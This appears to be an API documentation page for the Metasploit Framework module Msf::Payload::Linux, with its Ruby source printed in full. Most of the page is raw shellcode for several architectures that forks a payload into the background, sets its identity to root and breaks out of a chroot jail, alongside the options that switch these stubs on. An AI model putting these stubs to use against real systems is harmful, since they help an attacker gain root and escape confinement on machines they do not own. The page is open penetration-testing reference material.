Module: Msf::Payload::Linux
- Included in:
- BindTcp, ReverseSctp_x64, ReverseTcp_x64, ReverseTcp_x86
- Defined in:
- lib/msf/core/payload/linux.rb
Overview
This class is here to implement advanced features for linux-based payloads. Linux payloads are expected to include this module if they want to support these features.
Defined Under Namespace
Modules: BindTcp, ReverseSctp_x64, ReverseTcp_x64, ReverseTcp_x86, SendUUID
Instance Method Summary collapse
- #apply_prepends(buf) ⇒ Object
-
#initialize(info = {}) ⇒ Object
This mixin is chained within payloads that target the Linux platform.
Instance Method Details
#apply_prepends(buf) ⇒ Object
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# File 'lib/msf/core/payload/linux.rb', line 89 def apply_prepends(buf) pre = '' app = '' test_arch = [ *(self.arch) ] # Handle all x86 code here if (test_arch.include?(ARCH_X86)) # Prepend if (datastore['PrependFork']) pre << "\x6a\x02" + # pushb $0x2 # "\x58" + # popl %eax # "\xcd\x80" + # int $0x80 ; fork # "\x85\xc0" + # test %eax,%eax # "\x74\x06" + # jz loc_000f # # loc_0009: "\x31\xc0" + # xor %eax,%eax # "\xb0\x01" + # movb $0x1,%al # "\xcd\x80" + # int $0x80 ; exit # # loc_000f: "\xb0\x42" + # movb %0x42,%al # "\xcd\x80" + # int $0x80 ; setsid # "\x6a\x02" + # pushb $0x2 # "\x58" + # popl %eax # "\xcd\x80" + # int $0x80 ; fork # "\x85\xc0" + # test %eax,%eax # "\x75\xed" # jnz loc_0009 # end if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) pre << "\x31\xc9" + # xorl %ecx,%ecx # "\x31\xdb" + # xorl %ebx,%ebx # "\xf7\xe3" + # mull %ebx # "\xb0\xa4" + # movb $0xa4,%al # "\xcd\x80" # int $0x80 # end if (datastore['PrependSetreuid']) # setreuid(0, 0) pre << "\x31\xc9" + # xorl %ecx,%ecx # "\x31\xdb" + # xorl %ebx,%ebx # "\x6a\x46" + # pushl $0x46 # "\x58" + # popl %eax # "\xcd\x80" # int $0x80 # end if (datastore['PrependSetuid']) # setuid(0) pre << "\x31\xdb" + # xorl %ebx,%ebx # "\x6a\x17" + # pushl $0x17 # "\x58" + # popl %eax # "\xcd\x80" # int $0x80 # end if (datastore['PrependSetresgid']) # setresgid(0, 0, 0) pre << "\x31\xc9" + # xorl %ecx,%ecx # "\x31\xdb" + # xorl %ebx,%ebx # "\xf7\xe3" + # mull %ebx # "\xb0\xaa" + # movb $0xaa,%al # "\xcd\x80" # int $0x80 # end if (datastore['PrependSetregid']) # setregid(0, 0) pre << "\x31\xc9" + # xorl %ecx,%ecx # "\x31\xdb" + # xorl %ebx,%ebx # "\x6a\x47" + # pushl $0x47 # "\x58" + # popl %eax # "\xcd\x80" # int $0x80 # end if (datastore['PrependSetgid']) # setgid(0) pre << "\x31\xdb" + # xorl %ebx,%ebx # "\x6a\x2e" + # pushl $0x2e # "\x58" + # popl %eax # "\xcd\x80" # int $0x80 # end if (datastore['PrependChrootBreak']) # setreuid(0, 0) pre << "\x31\xc9" + # xorl %ecx,%ecx # "\x31\xdb" + # xorl %ebx,%ebx # "\x6a\x46" + # pushl $0x46 # "\x58" + # popl %eax # "\xcd\x80" # int $0x80 # # break chroot pre << "\x6a\x3d" + # pushl $0x3d # # build dir str (ptr in ebx) "\x89\xe3" + # movl %esp,%ebx # # mkdir(dir) "\x6a\x27" + # pushl $0x27 # "\x58" + # popl %eax # "\xcd\x80" + # int $0x80 # # chroot(dir) "\x89\xd9" + # movl %ebx,%ecx # "\x58" + # popl %eax # "\xcd\x80" + # int $0x80 # # build ".." str (ptr in ebx) "\x31\xc0" + # xorl %eax,%eax # "\x50" + # pushl %eax # "\x66\x68\x2e\x2e" + # pushw $0x2e2e # "\x89\xe3" + # movl %esp,%ebx # # loop changing dir "\x6a\x3d" + # pushl $0x1e # "\x59" + # popl %ecx # "\xb0\x0c" + # movb $0xc,%al # "\xcd\x80" + # int $0x80 # "\xe2\xfa" + # loop -6 # # final chroot "\x6a\x3d" + # pushl $0x3d # "\x89\xd9" + # movl %ebx,%ecx # "\x58" + # popl %eax # "\xcd\x80" # int $0x80 # end # Append exit(0) if (datastore['AppendExit']) app << "\x31\xdb" + # xorl %ebx,%ebx # "\x6a\x01" + # pushl $0x01 # "\x58" + # popl %eax # "\xcd\x80" # int $0x80 # end # Handle all Power/CBEA code here elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) # Prepend if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) pre << "\x3b\xe0\x01\xff" + # li r31,511 # "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # "\x7c\x84\x22\x78" + # xor r4,r4,r4 # "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # "\x38\x1f\xfe\xa5" + # addi r0,r31,-347 # "\x44\xff\xff\x02" # sc # end if (datastore['PrependSetreuid']) # setreuid(0, 0) pre << "\x3b\xe0\x01\xff" + # li r31,511 # "\x7c\x84\x22\x78" + # xor r4,r4,r4 # "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # "\x38\x1f\xfe\x47" + # addi r0,r31,-441 # "\x44\xff\xff\x02" # sc # end if (datastore['PrependSetuid']) # setuid(0) pre << "\x3b\xe0\x01\xff" + # li r31,511 # "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # "\x38\x1f\xfe\x18" + # addi r0,r31,-488 # "\x44\xff\xff\x02" # sc # end if (datastore['PrependSetresgid']) # setresgid(0, 0, 0) pre << "\x3b\xe0\x01\xff" + # li r31,511 # "\x7c\xa5\x2a\x78" + # xor r5,r5,r5 # "\x7c\x84\x22\x78" + # xor r4,r4,r4 # "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # "\x38\x1f\xfe\xab" + # addi r0,r31,-341 # "\x44\xff\xff\x02" # sc # end if (datastore['PrependSetregid']) # setregid(0, 0) pre << "\x3b\xe0\x01\xff" + # li r31,511 # "\x7c\x84\x22\x78" + # xor r4,r4,r4 # "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # "\x38\x1f\xfe\x48" + # addi r0,r31,-440 # "\x44\xff\xff\x02" # sc # end if (datastore['PrependSetgid']) # setgid(0) pre << "\x3b\xe0\x01\xff" + # li r31,511 # "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # "\x38\x1f\xfe\x2f" + # addi r0,r31,-465 # "\x44\xff\xff\x02" # sc # end if (datastore['PrependChrootBreak']) # setreuid(0, 0) pre << "\x3b\xe0\x01\xff" + # li r31,511 # "\x7c\x84\x22\x78" + # xor r4,r4,r4 # "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # "\x38\x1f\xfe\x47" + # addi r0,r31,-441 # "\x44\xff\xff\x02" # sc # # EEK! unsupported... end # Append exit(0) if (datastore['AppendExit']) app << "\x3b\xe0\x01\xff" + # li r31,511 # "\x7c\x63\x1a\x78" + # xor r3,r3,r3 # "\x38\x1f\xfe\x02" + # addi r0,r31,-510 # "\x44\xff\xff\x02" # sc # end elsif (test_arch.include?(ARCH_X64)) if (datastore['PrependFork']) # if (fork()) { exit(0); }; setsid(); if (fork()) { exit(0); }; pre << "\x6a\x39" # push 57 ; __NR_fork # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # pre << "\x48\x85\xc0" # test rax,rax # pre << "\x74\x08" # jz loc_0012 # # # loc_000a: # pre << "\x48\x31\xff" # xor rdi,rdi # pre << "\x6a\x3c" # push 60 ; __NR_exit # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # # # loc_0012: # pre << "\x04\x70" # add al, 112 ; __NR_setsid # pre << "\x0f\x05" # syscall # pre << "\x6a\x39" # push 57 ; __NR_fork # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # pre << "\x48\x85\xc0" # test rax,rax # pre << "\x75\xea" # jnz loc_000a # end if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) pre << "\x48\x31\xff" # xor rdi,rdi # pre << "\x48\x89\xfe" # mov rsi,rdi # pre << "\x6a\x75" # push 0x75 # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # end if (datastore['PrependSetreuid']) # setreuid(0, 0) pre << "\x48\x31\xff" # xor rdi,rdi # pre << "\x48\x89\xfe" # mov rsi,rdi # pre << "\x48\x89\xf2" # mov rdx,rsi # pre << "\x6a\x71" # push 0x71 # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # end if (datastore['PrependSetuid']) # setuid(0) pre << "\x48\x31\xff" # xor rdi,rdi # pre << "\x6a\x69" # push 0x69 # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # end if (datastore['PrependSetresgid']) # setresgid(0, 0, 0) pre << "\x48\x31\xff" # xor rdi,rdi # pre << "\x48\x89\xfe" # mov rsi,rdi # pre << "\x6a\x77" # push 0x77 # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # end if (datastore['PrependSetregid']) # setregid(0, 0) pre << "\x48\x31\xff" # xor rdi,rdi # pre << "\x48\x89\xfe" # mov rsi,rdi # pre << "\x48\x89\xf2" # mov rdx,rsi # pre << "\x6a\x72" # push 0x72 # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # end if (datastore['PrependSetgid']) # setgid(0) pre << "\x48\x31\xff" # xor rdi,rdi # pre << "\x6a\x6a" # push 0x6a # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # end if (datastore['PrependChrootBreak']) # setreuid(0, 0) pre << "\x48\x31\xff" # xor rdi,rdi # pre << "\x48\x89\xfe" # mov rsi,rdi # pre << "\x48\x89\xf8" # mov rax,rdi # pre << "\xb0\x71" # mov al,0x71 # pre << "\x0f\x05" # syscall # # generate temp dir name pre << "\x48\xbf" # mov rdi, # pre << Rex::Text.rand_text_alpha(8) # random # pre << "\x56" # push rsi # pre << "\x57" # push rdi # # mkdir(random,0755) pre << "\x48\x89\xe7" # mov rdi,rsp # pre << "\x66\xbe\xed\x01" # mov si,0755 # pre << "\x6a\x53" # push 0x53 # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # # chroot(random) pre << "\x48\x31\xd2" # xor rdx,rdx # pre << "\xb2\xa1" # mov dl,0xa1 # pre << "\x48\x89\xd0" # mov rax,rdx # pre << "\x0f\x05" # syscall # # build .. (ptr in rdi ) pre << "\x66\xbe\x2e\x2e" # mov si,0x2e2e # pre << "\x56" # push rsi # pre << "\x48\x89\xe7" # mov rdi,rsp # # loop chdir(..) 69 times # syscall tend to modify rcx can't use loop... pre << "\x6a\x45" # push 0x45 # pre << "\x5b" # pop rbx # pre << "\x6a\x50" # push 0x50 # pre << "\x58" # pop rax # pre << "\x0f\x05" # syscall # pre << "\xfe\xcb" # dec bl # pre << "\x75\xf7" # jnz -7 # # chroot (.) (which should be /) pre << "\x6a\x2e" # push . (0x2e) # pre << "\x48\x89\xe7" # mov rdi,rsp # pre << "\x48\x89\xd0" # mov rax,rdx # pre << "\x0f\x05" # syscall # end # Append exit(0) if (datastore['AppendExit']) app << "\x48\x31\xff" # xor rdi,rdi # app << "\x6a\x3c" # push 0x3c # app << "\x58" # pop rax # app << "\x0f\x05" # syscall # end elsif (test_arch.include?(ARCH_ARMLE)) if (datastore['PrependSetuid']) # setuid(0) pre << "\x00\x00\x20\xe0" # eor r0, r0, r0 # pre << "\x17\x70\xa0\xe3" # mov r7, #23 # pre << "\x00\x00\x00\xef" # svc # end if (datastore['PrependSetresuid']) # setresuid(ruid=0, euid=0, suid=0) pre << "\x00\x00\x20\xe0" # eor r0, r0, r0 # pre << "\x01\x10\x21\xe0" # eor r1, r1, r1 # pre << "\x02\x20\x22\xe0" # eor r2, r2, r2 # pre << "\xa4\x70\xa0\xe3" # mov r7, #0xa4 # pre << "\x00\x00\x00\xef" # svc # end end return (pre + buf + app) end |
#initialize(info = {}) ⇒ Object
This mixin is chained within payloads that target the Linux platform. It provides special prepends, to support things like chroot and setuid.
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# File 'lib/msf/core/payload/linux.rb', line 16 def initialize(info = {}) ret = super(info) ( [ Msf::OptBool.new('PrependFork', [ false, "Prepend a stub that starts the payload in its own process via fork", "false" ] ), Msf::OptBool.new('PrependSetresuid', [ false, "Prepend a stub that executes the setresuid(0, 0, 0) system call", "false" ] ), Msf::OptBool.new('PrependSetreuid', [ false, "Prepend a stub that executes the setreuid(0, 0) system call", "false" ] ), Msf::OptBool.new('PrependSetuid', [ false, "Prepend a stub that executes the setuid(0) system call", "false" ] ), Msf::OptBool.new('PrependSetresgid', [ false, "Prepend a stub that executes the setresgid(0, 0, 0) system call", "false" ] ), Msf::OptBool.new('PrependSetregid', [ false, "Prepend a stub that executes the setregid(0, 0) system call", "false" ] ), Msf::OptBool.new('PrependSetgid', [ false, "Prepend a stub that executes the setgid(0) system call", "false" ] ), Msf::OptBool.new('PrependChrootBreak', [ false, "Prepend a stub that will break out of a chroot (includes setreuid to root)", "false" ] ), Msf::OptBool.new('AppendExit', [ false, "Append a stub that executes the exit(0) system call", "false" ] ), ], Msf::Payload::Linux) ret end |